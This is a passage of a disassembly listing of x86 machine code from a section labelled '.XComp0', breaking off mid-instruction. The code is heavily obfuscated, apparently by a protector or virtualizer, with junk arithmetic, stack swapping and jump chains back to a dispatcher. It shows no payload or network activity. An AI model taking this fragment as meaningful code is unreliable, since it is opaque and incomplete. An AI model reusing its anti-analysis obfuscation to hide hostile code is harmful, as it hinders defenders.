--------------------------------------------------------------------------- loc_58477B: ; CODE XREF: .XComp0:00595029j and esi, 5A285D48h inc esi xor esi, 58001145h add ebp, esi jmp loc_598AFA ; --------------------------------------------------------------------------- loc_58478F: ; CODE XREF: .XComp0:0058A5C5j add edx, 0E2F8096Ch mov esi, edx mov edx, [esp] jmp loc_586A8C ; --------------------------------------------------------------------------- loc_58479F: ; CODE XREF: .XComp0:005919EFj add eax, ecx add eax, 50A9302Eh pop ecx jmp loc_590F95 ; --------------------------------------------------------------------------- loc_5847AC: ; CODE XREF: .XComp0:00594675j mov edx, ebp pop ebp push edx mov edx, 5CAE4FD1h neg edx sub edx, 56792499h xor edx, 5F2E598h jmp loc_58F1FE ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp jmp loc_5882D0 ; --------------------------------------------------------------------------- loc_5847D3: ; CODE XREF: .XComp0:00593D7Aj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_591CC8 ; --------------------------------------------------------------------------- loc_5847E7: ; CODE XREF: .XComp0:00585B27j pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5847F3: ; CODE XREF: .XComp0:0058FAA1j xor esi, 47120AD5h add esi, 0FFFFFFFFh or esi, 60B2558Ah and esi, 6DA0052Ah jmp loc_590DE2 ; --------------------------------------------------------------------------- loc_584810: ; CODE XREF: .XComp0:0058AFBEj pop eax push esi mov esi, 425565EBh neg esi shr esi, 2 not esi jmp loc_595D26 ; --------------------------------------------------------------------------- loc_584823: ; CODE XREF: .XComp0:005857C1j xchg ecx, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_584833: ; CODE XREF: .XComp0:00595A61j pop ecx push edi push 526h jmp loc_59556D ; --------------------------------------------------------------------------- loc_58483F: ; CODE XREF: .XComp0:005869B4j neg ebp jmp loc_594C1E ; --------------------------------------------------------------------------- loc_584846: ; CODE XREF: .XComp0:00584F5Cj neg esi xor esi, 6AABD85Fh xor ebx, esi pop esi add edi, ebx mov ebx, [esp] jmp loc_590C9C ; --------------------------------------------------------------------------- loc_58485B: ; CODE XREF: .XComp0:00598866j add esi, eax jmp loc_58D2DF ; --------------------------------------------------------------------------- loc_584862: ; CODE XREF: .XComp0:00590A9Bj add edi, 2 push edi push dword ptr [esp+4] push dword ptr [esp] mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] add esp, 4 pop dword ptr [esp] pop esp btr [esp], ax pushf jmp loc_58EF25 ; --------------------------------------------------------------------------- loc_58489D: ; CODE XREF: .XComp0:00584439j pop esp jmp loc_58F2BF ; --------------------------------------------------------------------------- loc_5848A3: ; CODE XREF: .XComp0:005917CBj sub esp, 4 jmp loc_58D874 ; --------------------------------------------------------------------------- loc_5848AE: ; CODE XREF: .XComp0:005953F6j mov ebx, 68132BF3h sub edx, ebx pop ebx sub edx, ecx add edx, 68132BF3h pop ecx jmp loc_5849F9 ; --------------------------------------------------------------------------- loc_5848C4: ; CODE XREF: .XComp0:0058760Dj push ecx push edx push ebx mov bl, al jmp loc_5914CB ; --------------------------------------------------------------------------- loc_5848CE: ; CODE XREF: .XComp0:00587789j push 7A86h mov [esp], ecx jmp loc_58FE10 ; --------------------------------------------------------------------------- loc_5848DB: ; CODE XREF: .XComp0:00587237j mov [esp], esi mov esi, 0FFFFFFFFh push 7A78h mov [esp], esi push dword ptr [esp] jmp loc_593EEF ; --------------------------------------------------------------------------- loc_5848F3: ; CODE XREF: .XComp0:0058FD3Dj pop ebp sub esi, eax mov eax, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], esi push 2755h mov [esp], ebx mov ebx, 71A2448Dh and ebx, 79A303A5h xor ebx, 1D8003BEh jmp loc_596EC8 ; --------------------------------------------------------------------------- loc_58492A: ; CODE XREF: .XComp0:005949B7j push edi pop edx pop edi jmp loc_592F8D ; --------------------------------------------------------------------------- loc_584932: ; CODE XREF: .XComp0:00585E4Ej pop esp mov [esp], ecx mov ecx, 113740Eh mov edi, ecx jmp loc_597375 ; --------------------------------------------------------------------------- loc_584942: ; CODE XREF: .XComp0:00598196j mov eax, edi pop edi push eax xor dword ptr [esp], 18223828h pop ebp push edx jmp loc_58DF60 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_584963: ; CODE XREF: .XComp0:00592BA6j neg edx jmp loc_58454E ; --------------------------------------------------------------------------- loc_58496A: ; CODE XREF: .XComp0:00596027j pop esp xor ebp, [esp] xor [esp], ebp jmp loc_595898 ; --------------------------------------------------------------------------- loc_584976: ; CODE XREF: .XComp0:00597CCAj push dword ptr [esp] pop ecx add esp, 4 jmp loc_598AB7 ; --------------------------------------------------------------------------- loc_584982: ; CODE XREF: .XComp0:0058AC02j pop ecx push 5974h mov [esp], ebx jmp loc_5930E5 ; --------------------------------------------------------------------------- loc_584990: ; CODE XREF: .XComp0:0058E330j jmp loc_583A60 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58499F: ; CODE XREF: .XComp0:00590385j mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_598815 ; --------------------------------------------------------------------------- loc_5849C6: ; CODE XREF: .XComp0:005938F0j add esp, 4 push edx push ecx mov ch, 85h sub esp, 4 mov [esp], eax mov ah, ch mov dh, ah pop eax pop ecx shl dh, 8 push 3A48h mov [esp], ebx mov bh, 44h shr bh, 7 add bh, 0C0h dec bh push ecx mov cl, 5 jmp loc_59753D ; --------------------------------------------------------------------------- loc_5849F9: ; CODE XREF: .XComp0:005848BFj push esi mov esi, 88C2E079h add edx, esi pop esi and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_594DC0 ; --------------------------------------------------------------------------- loc_584A0F: ; CODE XREF: .XComp0:0058400Dj xor al, bl push small 7B38h jmp loc_583B07 ; --------------------------------------------------------------------------- loc_584A1A: ; CODE XREF: .XComp0:00588F98j xor ecx, edx jmp loc_597402 ; --------------------------------------------------------------------------- loc_584A21: ; CODE XREF: .XComp0:0059172Cj xchg ecx, [esp] pop esp jmp loc_59784D ; --------------------------------------------------------------------------- loc_584A2A: ; CODE XREF: .XComp0:00591E86j neg esi inc esi dec esi shr esi, 4 shl esi, 5 push ecx mov ecx, 3F12B582h jmp loc_595AB5 ; --------------------------------------------------------------------------- loc_584A3F: ; CODE XREF: .XComp0:00592ED2j mov edx, [esp] add esp, 4 xor eax, 71B24E77h xor eax, 1E8821BEh add ebx, eax pop eax push edx mov edx, 4771147Bh sub ebx, 404E4E28h sub ebx, 3F943014h add ebx, 54897FCEh sub ebx, edx sub ebx, 54897FCEh jmp loc_59571E ; --------------------------------------------------------------------------- loc_584A7A: ; CODE XREF: .XComp0:00594DE3j add ebx, ebp pop ebp add ebx, 4E4635DAh jmp loc_58D672 ; --------------------------------------------------------------------------- loc_584A88: ; CODE XREF: .XComp0:00584C74j pop ebp jmp loc_590A3C ; --------------------------------------------------------------------------- loc_584A8E: ; CODE XREF: .XComp0:00589E66j xchg edx, [esp] mov esp, [esp] push ebp mov ebp, 4B5C16B0h jmp loc_58AFF4 ; --------------------------------------------------------------------------- loc_584A9F: ; CODE XREF: .XComp0:00593AE9j mov eax, 3808489Dh push ebx mov ebx, 304A5D52h or eax, ebx jmp loc_595A6C ; --------------------------------------------------------------------------- loc_584AB1: ; CODE XREF: .XComp0:0058BF90j pop ebx jmp loc_597417 ; --------------------------------------------------------------------------- loc_584AB7: ; CODE XREF: .XComp0:0058B7A1j mov [esp], ebp mov ebp, 5B724BDBh sub eax, ebp pop ebp xor eax, 20083CC1h push edx mov edx, 3A7F5B09h add ebx, edx pop edx add ebx, eax jmp loc_591812 ; --------------------------------------------------------------------------- loc_584AD7: ; CODE XREF: .XComp0:0058EB25j pop ecx add esp, 4 push 1288h mov [esp], edx push esp pop edx add edx, 4 sub esp, 4 mov [esp], ebp jmp loc_586E5A ; --------------------------------------------------------------------------- loc_584AF9: ; CODE XREF: .XComp0:005947B5j mov esp, [esp] cmp cx, ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_584B05: ; CODE XREF: .XComp0:0058EFBCj add esi, 3B93213Bh jmp loc_593A09 ; --------------------------------------------------------------------------- loc_584B10: ; CODE XREF: .XComp0:00593387j push edx jmp loc_597A0E ; --------------------------------------------------------------------------- loc_584B16: ; CODE XREF: .XComp0:00585EB4j xor ebp, 538D11E1h sub ebp, 35C41B3Ch add edx, ebp pop ebp add edx, ecx jmp loc_587EDE ; --------------------------------------------------------------------------- loc_584B2C: ; CODE XREF: .XComp0:0058B0C2j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop eax jmp loc_598DC9 ; --------------------------------------------------------------------------- loc_584B45: ; CODE XREF: .XComp0:00590A3Ej mov edx, 0DE9622Dh or edx, 57E4007Dh dec edx jmp loc_585921 ; --------------------------------------------------------------------------- loc_584B56: ; CODE XREF: .XComp0:005853D4j sub ebp, 4 xchg ebp, [esp] jmp loc_594490 ; --------------------------------------------------------------------------- loc_584B61: ; CODE XREF: .XComp0:00594DBBj push 32113F8Dh pop ebx jmp loc_58691E ; --------------------------------------------------------------------------- loc_584B6C: ; CODE XREF: .XComp0:0058BC12j pop ecx add edx, ebx mov ebx, [esp] jmp loc_58F6BB ; --------------------------------------------------------------------------- loc_584B77: ; CODE XREF: .XComp0:0058AC1Aj mov ebx, edx mov edx, [esp] jmp loc_5850B7 ; --------------------------------------------------------------------------- loc_584B81: ; CODE XREF: .XComp0:0058C73Cj pop esp jmp loc_58FBEC ; --------------------------------------------------------------------------- loc_584B87: ; CODE XREF: .XComp0:00596167j xor eax, 0A50C8758h jmp loc_585A78 ; --------------------------------------------------------------------------- loc_584B91: ; CODE XREF: .XComp0:00583FDBj mov [esp], esi mov esi, 5E7B1CF6h dec esi add esi, 1 jmp loc_5896F1 ; --------------------------------------------------------------------------- loc_584BA5: ; CODE XREF: .XComp0:00590D66j sub eax, 6B2B605Fh add eax, 37D920B8h pop ebp push edi jmp loc_58E7CB ; --------------------------------------------------------------------------- loc_584BB6: ; CODE XREF: .XComp0:00593ED4j sub ecx, 77F545FDh xor ecx, 90675B4Ah jmp loc_5971E5 ; --------------------------------------------------------------------------- loc_584BC7: ; CODE XREF: .XComp0:00583A9Cj push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push eax push 4213h mov [esp], esp sub esp, 4 mov [esp], ebx jmp loc_58570E ; --------------------------------------------------------------------------- loc_584BEA: ; CODE XREF: .XComp0:00597F1Cj add esp, 4 mov edx, [esp] add esp, 4 mov ch, [esp+2] mov [esp+2], bh mov bx, [esp] push ecx jmp loc_5934DE ; --------------------------------------------------------------------------- loc_584C08: ; CODE XREF: .XComp0:005947DBj push 0 sub [esp], edi pop edi push esi jmp loc_594C41 ; --------------------------------------------------------------------------- loc_584C17: ; CODE XREF: .XComp0:005854FDj mov ebx, 215F2BE7h add ebp, 52566722h add ebp, ebx sub ebp, 52566722h push dword ptr [esp] pop ebx add esp, 4 sub ebp, edi sub ebp, 215F2BE7h push dword ptr [esp] pop edi add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax jmp loc_58CEA8 ; --------------------------------------------------------------------------- loc_584C5B: ; CODE XREF: .XComp0:0058CD53j push eax jmp loc_598E53 ; --------------------------------------------------------------------------- loc_584C61: ; CODE XREF: .XComp0:0058BCAFj add ecx, 4 add ecx, 4 jmp loc_58B8AA ; --------------------------------------------------------------------------- loc_584C72: ; CODE XREF: .XComp0:00585D34j sub eax, ebp jmp loc_584A88 ; --------------------------------------------------------------------------- loc_584C79: ; CODE XREF: .XComp0:0058A6EAj mov ebp, eax mov eax, [esp] jmp loc_5905AA ; --------------------------------------------------------------------------- loc_584C83: ; CODE XREF: .XComp0:00594C6Dj add esp, 4 pop ebx add eax, 2F9873D1h add eax, ebp sub eax, 2F9873D1h add eax, 18A72D46h mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 78B07A74h push esi mov esi, 7CA70B90h xor eax, esi pop esi sub esp, 4 mov [esp], edx push esi push 4597734Ah pop esi xor esi, 7B726502h xor esi, 33833711h mov edx, esi pop esi jmp loc_59383C ; --------------------------------------------------------------------------- loc_584CD6: ; CODE XREF: .XComp0:00594EF0j mov [esp], eax mov eax, 74454753h add eax, 0DAB76BEh or eax, 6EC2915h push 272Ah mov [esp], edx mov edx, 64EA1591h shl edx, 5 xchg edi, edx jmp loc_583EF3 ; --------------------------------------------------------------------------- loc_584CFF: ; CODE XREF: .XComp0:0058F8FFj pop esp add ebp, 4 push 0F30h mov [esp], edx push eax push ecx mov ecx, 4 mov eax, ecx jmp loc_595315 ; --------------------------------------------------------------------------- loc_584D1C: ; CODE XREF: .XComp0:00592456j xor ebp, 3C3A67F0h jmp loc_598268 ; --------------------------------------------------------------------------- loc_584D27: ; CODE XREF: .XComp0:0058F3AFj mov ecx, 7C5821D3h and ecx, 141E74F7h shl ecx, 6 xor ecx, 6B7495Eh or ecx, 715964FDh add ecx, 8E008205h add ebp, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 4 sub ebp, 4207085Ch jmp loc_5936F8 ; --------------------------------------------------------------------------- loc_584D60: ; CODE XREF: .XComp0:00592EFFj mov edi, [esp] push esi jmp loc_592AA6 ; --------------------------------------------------------------------------- loc_584D69: ; CODE XREF: .XComp0:00598E19j shr ebp, 6 shl ebp, 2 add ebp, 4056F754h add edx, ebp pop ebp add edx, edi sub edx, 44930D40h mov edi, [esp] add esp, 4 sub esi, 69E1F64h sub esi, 7DB40983h jmp loc_58EE1C ; --------------------------------------------------------------------------- loc_584D9A: ; CODE XREF: .XComp0:00589FB6j mov ch, ah pop eax jmp loc_5935AC ; --------------------------------------------------------------------------- loc_584DA2: ; CODE XREF: .XComp0:0058D916j add bl, 8Ah mov cx, [esp] add esp, 2 jmp loc_58CF86 ; --------------------------------------------------------------------------- loc_584DB1: ; CODE XREF: .XComp0:0058B85Bj pop esp pop dword ptr [esp] pop esp add esp, 4 jmp loc_58D794 ; --------------------------------------------------------------------------- loc_584DBE: ; CODE XREF: .XComp0:00593F3Fj mov ecx, [esp] jmp loc_58EC7F ; --------------------------------------------------------------------------- loc_584DC6: ; CODE XREF: .XComp0:00592345j mov edi, 253C54EEh mov ecx, edi pop edi jmp loc_59826E ; --------------------------------------------------------------------------- loc_584DD3: ; CODE XREF: .XComp0:0058811Fj mov dh, cl pop ecx pop ebx mov bl, dh mov edx, [esp] jmp loc_58963B ; --------------------------------------------------------------------------- loc_584DE1: ; CODE XREF: .XComp0:005843FBj push 1247h jmp loc_590283 ; --------------------------------------------------------------------------- loc_584DEB: ; CODE XREF: .XComp0:00595927j push dword ptr [esp] mov esi, [esp] add esp, 4 push edi push esp pop edi jmp loc_596938 ; --------------------------------------------------------------------------- loc_584DFF: ; CODE XREF: .XComp0:00594975j push eax mov eax, 4FF103FFh jmp loc_5956E5 ; --------------------------------------------------------------------------- loc_584E0A: ; CODE XREF: .XComp0:0058ECEAj pop esi dec eax or eax, 5C0832DBh neg eax jmp loc_598BEA ; --------------------------------------------------------------------------- loc_584E18: ; CODE XREF: .XComp0:0058D7DDj sub esp, 4 jmp loc_58D022 ; --------------------------------------------------------------------------- loc_584E20: ; CODE XREF: .XComp0:005851ADj pop ebp xor ebp, 5DA35FB3h xor ebp, 4B3370FDh mov edi, ebp pop ebp sub edi, ebx mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_59586B ; --------------------------------------------------------------------------- loc_584E3F: ; CODE XREF: .XComp0:00594D6Bj mov edx, [esp] add esp, 4 xor edi, 0AA944248h jmp loc_5931F4 ; --------------------------------------------------------------------------- loc_584E50: ; CODE XREF: .XComp0:0058B797j push ecx mov ecx, 0CF91DA1h mov ebp, ecx mov ecx, [esp] push ebx mov ebx, esp jmp loc_5931D8 ; --------------------------------------------------------------------------- loc_584E63: ; CODE XREF: .XComp0:00588CD8j xor dword ptr [esp], 336D57EAh pop edx jmp loc_5868DF ; --------------------------------------------------------------------------- loc_584E70: ; CODE XREF: .XComp0:00596342j xor [esp], ebp xor ebp, [esp] xor [esp], ebp push dword ptr [esp] jmp loc_59765E ; --------------------------------------------------------------------------- loc_584E81: ; CODE XREF: .XComp0:0059341Cj push dword ptr [esp] pop esi add esp, 4 push edi mov edi, 4 sub ebx, edi pop edi xchg ebx, [esp] jmp loc_590735 ; --------------------------------------------------------------------------- loc_584E99: ; CODE XREF: .XComp0:0058BD58j push eax push ecx mov ch, 0B7h mov ah, 3Fh sub ah, ch pop ecx shr ah, 4 jmp loc_596D61 ; --------------------------------------------------------------------------- loc_584EAA: ; CODE XREF: .XComp0:005931CBj dec ecx jmp loc_5924ED ; --------------------------------------------------------------------------- loc_584EB0: ; CODE XREF: .XComp0:00591BE4j add edx, 4 jmp loc_59512D ; --------------------------------------------------------------------------- loc_584EBB: ; CODE XREF: .XComp0:0059564Cj neg esi sub esi, 95CED9F7h add ebp, esi pop esi xchg ebp, [esp] pop esp jmp loc_588E6F ; --------------------------------------------------------------------------- loc_584ECF: ; CODE XREF: .XComp0:00595866j add eax, edx add eax, 1F743298h pop edx sub eax, ebx push ebx mov ebx, 7E6862F6h add eax, 70A055F6h jmp loc_58F06F ; --------------------------------------------------------------------------- loc_584EE9: ; CODE XREF: .XComp0:0059632Ej mov ecx, 748A54E2h xor ecx, 26747FF0h add edi, 461E7712h sub edi, ecx sub edi, 461E7712h jmp loc_588EE3 ; --------------------------------------------------------------------------- mov ax, [esp] push 5827h mov [esp], edx push esp pop edx push ebp push eax mov eax, 0FFC5BA0h mov ebp, eax pop eax jmp loc_58EB4A ; --------------------------------------------------------------------------- loc_584F24: ; CODE XREF: .XComp0:00586C26j neg ebx inc ebx sub ebx, 0FB9E9CD4h add eax, ebx pop ebx push ebp jmp loc_5948DC ; --------------------------------------------------------------------------- loc_584F36: ; CODE XREF: .XComp0:0058FF56j pop ebp sub ebx, 48EE4B5Ah add edx, ebx pop ebx xchg edx, [esp] pop esp shr ecx, 2 push 272Eh loc_584F4C: ; DATA XREF: .XComp0:0044D5A0o jmp loc_5887E7 ; --------------------------------------------------------------------------- loc_584F51: ; CODE XREF: .XComp0:00592C8Ej push eax mov eax, edx mov [ebx], eax jmp loc_585C86 ; --------------------------------------------------------------------------- loc_584F5B: ; CODE XREF: .XComp0:005976E0j pop ebx jmp loc_584846 ; --------------------------------------------------------------------------- loc_584F61: ; CODE XREF: .XComp0:00593E8Fj sub edx, 8348A9h pop edi add ecx, edx mov edx, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_594CD7 ; --------------------------------------------------------------------------- loc_584F84: ; CODE XREF: .XComp0:00586CB1j and ecx, edx pop edx not ecx push esi mov esi, 3666F39h add esi, 7BB0168Dh push esi neg dword ptr [esp] pop esi jmp loc_58A218 ; --------------------------------------------------------------------------- loc_584F9F: ; CODE XREF: .XComp0:00597A1Ej pop cx jmp loc_58DB7C ; --------------------------------------------------------------------------- loc_584FA6: ; CODE XREF: .XComp0:00598565j mov edi, [esp] jmp loc_58882B ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_591E80 ; --------------------------------------------------------------------------- loc_584FC0: ; CODE XREF: .XComp0:00597279j xchg esi, [esp] mov esp, [esp] push ecx mov ecx, esp push edi jmp loc_586084 ; --------------------------------------------------------------------------- loc_584FCF: ; CODE XREF: .XComp0:00593019j pop edi push ecx mov ecx, 62681C22h add ecx, 9D97E3E2h sub edi, 5590080Fh add edi, ecx add edi, 5590080Fh jmp loc_592E3A ; --------------------------------------------------------------------------- loc_584FEF: ; CODE XREF: .XComp0:00593D2Ej mov ecx, ebx jmp loc_58BEDC ; --------------------------------------------------------------------------- loc_584FF6: ; CODE XREF: .XComp0:005937D7j sub esp, 4 mov [esp], ebp push edi push ecx mov ecx, 54AE0C08h jmp loc_587825 ; --------------------------------------------------------------------------- loc_585008: ; CODE XREF: .XComp0:00591AC6j shl dh, 2 push ecx mov cl, 9Fh neg cl sub esp, 4 mov [esp], ebx push eax mov al, 0A7h shl al, 8 shl al, 3 xor al, 0Fh not al jmp loc_58C462 ; --------------------------------------------------------------------------- loc_585028: ; CODE XREF: .XComp0:00593A45j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] movzx ecx, ax push 7FB1h mov [esp], ebp jmp loc_587CA8 ; --------------------------------------------------------------------------- loc_585050: ; CODE XREF: .XComp0:00585BDFj mov esp, [esp] add bl, 30h sub bl, al push small 5C41h mov [esp], dx push eax jmp loc_58EB2A ; --------------------------------------------------------------------------- loc_585066: ; CODE XREF: .XComp0:00587B6Fj and ecx, edx jmp loc_58A810 ; --------------------------------------------------------------------------- loc_58506D: ; CODE XREF: .XComp0:0058EDA8j dec ebx neg ebx shl ebx, 3 jmp loc_59616C ; --------------------------------------------------------------------------- loc_585078: ; CODE XREF: .XComp0:00590F4Fj xchg eax, [esp] jmp loc_58D7C2 ; --------------------------------------------------------------------------- loc_585080: ; CODE XREF: .XComp0:00591D04j xor dword ptr [esp], 114C4C0Ch pop esi xor esi, 114C4C0Ch push esi pop eax jmp loc_585B64 ; --------------------------------------------------------------------------- loc_585095: ; CODE XREF: .XComp0:0058872Fj push 7D2E08EAh jmp loc_596724 ; --------------------------------------------------------------------------- loc_58509F: ; CODE XREF: .XComp0:00587CA3j pop ebp jmp loc_58B064 ; --------------------------------------------------------------------------- mov cx, [esp] push 9A5h mov [esp], esi push esp jmp loc_59245B ; --------------------------------------------------------------------------- loc_5850B7: ; CODE XREF: .XComp0:00584B7Cj add esp, 4 sub esp, 4 jmp loc_597AF5 ; --------------------------------------------------------------------------- loc_5850C5: ; CODE XREF: .XComp0:00589A7Fj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push esp pop esi jmp loc_5976E5 ; --------------------------------------------------------------------------- loc_5850DB: ; CODE XREF: .XComp0:00584269j shr edx, 1 jmp loc_5963CD ; --------------------------------------------------------------------------- loc_5850E2: ; CODE XREF: .XComp0:00592185j xchg ebp, [esp] mov esp, [esp] xor ebp, [esp] jmp loc_595E98 ; --------------------------------------------------------------------------- loc_5850F0: ; CODE XREF: .XComp0:005923AFj sub ebx, 0C862900h pop ebp add ebx, 4 xchg ebx, [esp] pop esp and ecx, edx jmp loc_58514D ; --------------------------------------------------------------------------- loc_585105: ; CODE XREF: .XComp0:00593FFAj push esi mov esi, 5EB70223h push edi mov edi, 3E1D1817h jmp loc_598836 ; --------------------------------------------------------------------------- loc_585116: ; CODE XREF: .XComp0:00596E09j sub edx, 0FFFFFFFFh jmp loc_595B1A ; --------------------------------------------------------------------------- loc_585121: ; CODE XREF: .XComp0:00597EF1j shl edi, 1 jmp loc_5876B9 ; --------------------------------------------------------------------------- loc_585128: ; CODE XREF: .XComp0:00590DAAj add eax, edx push ebp mov ebp, 4842381h push esi mov esi, 0 sub esi, ebp mov ebp, esi pop esi add ebp, 35BC9634h jmp loc_58D05D ; --------------------------------------------------------------------------- loc_585146: ; CODE XREF: .XComp0:0058B5DDj add esi, eax jmp loc_58668C ; --------------------------------------------------------------------------- loc_58514D: ; CODE XREF: .XComp0:00585100j push dword ptr [esp] jmp loc_58867D ; --------------------------------------------------------------------------- lodsw jmp loc_5844DA ; --------------------------------------------------------------------------- loc_58515C: ; CODE XREF: .XComp0:00594497j add esp, 4 jmp loc_5954C7 ; --------------------------------------------------------------------------- loc_585167: ; CODE XREF: .XComp0:00592503j mov esi, 26E66878h shl esi, 6 push ebx mov ebx, 51B12112h push 7868h mov [esp], ebp mov ebp, 11A9590Eh push 658Ch mov [esp], eax mov eax, 0FFFFFFFFh add ebp, eax pop eax shr ebp, 8 jmp loc_591D3C ; --------------------------------------------------------------------------- loc_58519A: ; CODE XREF: .XComp0:0058E311j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58519F: ; CODE XREF: .XComp0:00590305j xor ecx, [esp] jmp loc_58BB24 ; --------------------------------------------------------------------------- loc_5851A7: ; CODE XREF: .XComp0:00586BC5j push ebp push 16902F4Eh jmp loc_584E20 ; --------------------------------------------------------------------------- loc_5851B2: ; CODE XREF: .XComp0:0058E0C4j xor esi, [esp] mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5851BD: ; CODE XREF: .XComp0:00588450j push dword ptr [esp+4] mov ebx, [esp] jmp loc_595776 ; --------------------------------------------------------------------------- loc_5851C9: ; CODE XREF: .XComp0:0059510Ej add esp, 4 add esp, 4 push ebp jmp loc_58D02A ; --------------------------------------------------------------------------- loc_5851D8: ; CODE XREF: .XComp0:00595884j sub ebp, 7DA5A23h shl ebp, 4 add ebp, 0DB7E9D34h add ebx, ebp jmp loc_5895BB ; --------------------------------------------------------------------------- loc_5851EE: ; CODE XREF: .XComp0:00589497j sub esp, 4 mov [esp], ebx jmp loc_58BC0A ; --------------------------------------------------------------------------- loc_5851FC: ; CODE XREF: .XComp0:005965A9j pop esi push 2F91h mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_584643 ; --------------------------------------------------------------------------- loc_58520F: ; CODE XREF: .XComp0:00590EBEj xor al, dl jmp loc_58EA2B ; --------------------------------------------------------------------------- loc_585216: ; CODE XREF: .XComp0:0059108Fj add ebx, 4 sub ebx, 2 xchg ebx, [esp] jmp loc_593705 ; --------------------------------------------------------------------------- loc_58522A: ; CODE XREF: .XComp0:00588414j push ebp jmp loc_590444 ; --------------------------------------------------------------------------- loc_585230: ; CODE XREF: .XComp0:00586A78j mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, 53F07830h add ecx, edi sub ecx, 53F07830h jmp loc_583FF5 ; --------------------------------------------------------------------------- loc_585257: ; CODE XREF: .XComp0:00589ACFj mov edi, 481176B1h add edi, 63EA72B2h and edi, 56273D00h jmp loc_58D21F ; --------------------------------------------------------------------------- loc_58526D: ; CODE XREF: .XComp0:0058DD4Bj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp pop ebp mov ecx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_58A379 ; --------------------------------------------------------------------------- loc_585299: ; CODE XREF: .XComp0:0058C001j add eax, 70E41789h jmp loc_588C0C ; --------------------------------------------------------------------------- loc_5852A3: ; CODE XREF: .XComp0:0058F395j xchg ebx, [esp] pop esp jmp loc_59452C ; --------------------------------------------------------------------------- loc_5852AC: ; CODE XREF: .XComp0:0058C4A6j sub edx, 0CD60D975h add ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] jmp loc_595F21 ; --------------------------------------------------------------------------- loc_5852C5: ; CODE XREF: .XComp0:0058D347j pop edi xchg ebx, [esp] pop esp jmp loc_5923DC ; --------------------------------------------------------------------------- loc_5852CF: ; CODE XREF: .XComp0:00591FC9j push ebp push ebx push 49D005CDh pop ebx not ebx jmp loc_589866 ; --------------------------------------------------------------------------- loc_5852DE: ; CODE XREF: .XComp0:00595A27j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5852E3: ; CODE XREF: .XComp0:0058422Dj push ecx mov ecx, 6B2319AAh add eax, ecx pop ecx jmp loc_58C54D ; --------------------------------------------------------------------------- loc_5852F1: ; CODE XREF: .XComp0:00587ED9j add ebp, 64947325h add ebp, eax sub ebp, 64947325h pop eax jmp loc_58A6DB ; --------------------------------------------------------------------------- loc_585305: ; CODE XREF: .XComp0:00596F39j add dword ptr [esp], 65D97623h push dword ptr [esp] jmp loc_595A72 ; --------------------------------------------------------------------------- loc_585314: ; CODE XREF: .XComp0:00596FA7j push 4867h jmp loc_585484 ; --------------------------------------------------------------------------- loc_58531E: ; CODE XREF: .XComp0:0059622Ej mov eax, 4A2A2C37h sub ebp, 45604D5Eh add ebp, eax jmp loc_597A35 ; --------------------------------------------------------------------------- loc_585330: ; CODE XREF: .XComp0:00585540j mov eax, [esp] add esp, 4 add eax, 4 push 39ECh mov [esp], ecx push edx mov edx, esp add edx, 4 jmp loc_59320A ; --------------------------------------------------------------------------- loc_585351: ; CODE XREF: .XComp0:0058DFDFj add esi, ebp sub esi, 4AB14074h pop ebp xchg esi, [esp] jmp loc_58824D ; --------------------------------------------------------------------------- loc_585362: ; CODE XREF: .XComp0:005932EAj mov [esp], edi jmp loc_5864D6 ; --------------------------------------------------------------------------- loc_58536A: ; CODE XREF: .XComp0:0058C97Dj sub ebp, 1FD95D1Ch jmp loc_587FA4 ; --------------------------------------------------------------------------- loc_585375: ; CODE XREF: .XComp0:005903A4j ; .XComp0:00598110j push 5B7Fh jmp loc_596F36 ; --------------------------------------------------------------------------- loc_58537F: ; CODE XREF: .XComp0:00592E35j mov edx, 0D9F3C83Eh push edx pop esi pop edx add esi, edx jmp loc_59038A ; --------------------------------------------------------------------------- loc_58538E: ; CODE XREF: .XComp0:00595952j add al, 0F2h jmp loc_587536 ; --------------------------------------------------------------------------- loc_585395: ; CODE XREF: .XComp0:00598A22j sub edi, 0FFFFFFFFh shr edi, 3 add edi, 0FFF7FFC4h mov esi, edi pop edi sub ebp, esi jmp loc_58C3D3 ; --------------------------------------------------------------------------- loc_5853AB: ; CODE XREF: .XComp0:0059100Aj xor ch, al pop ax sub al, ch push dword ptr 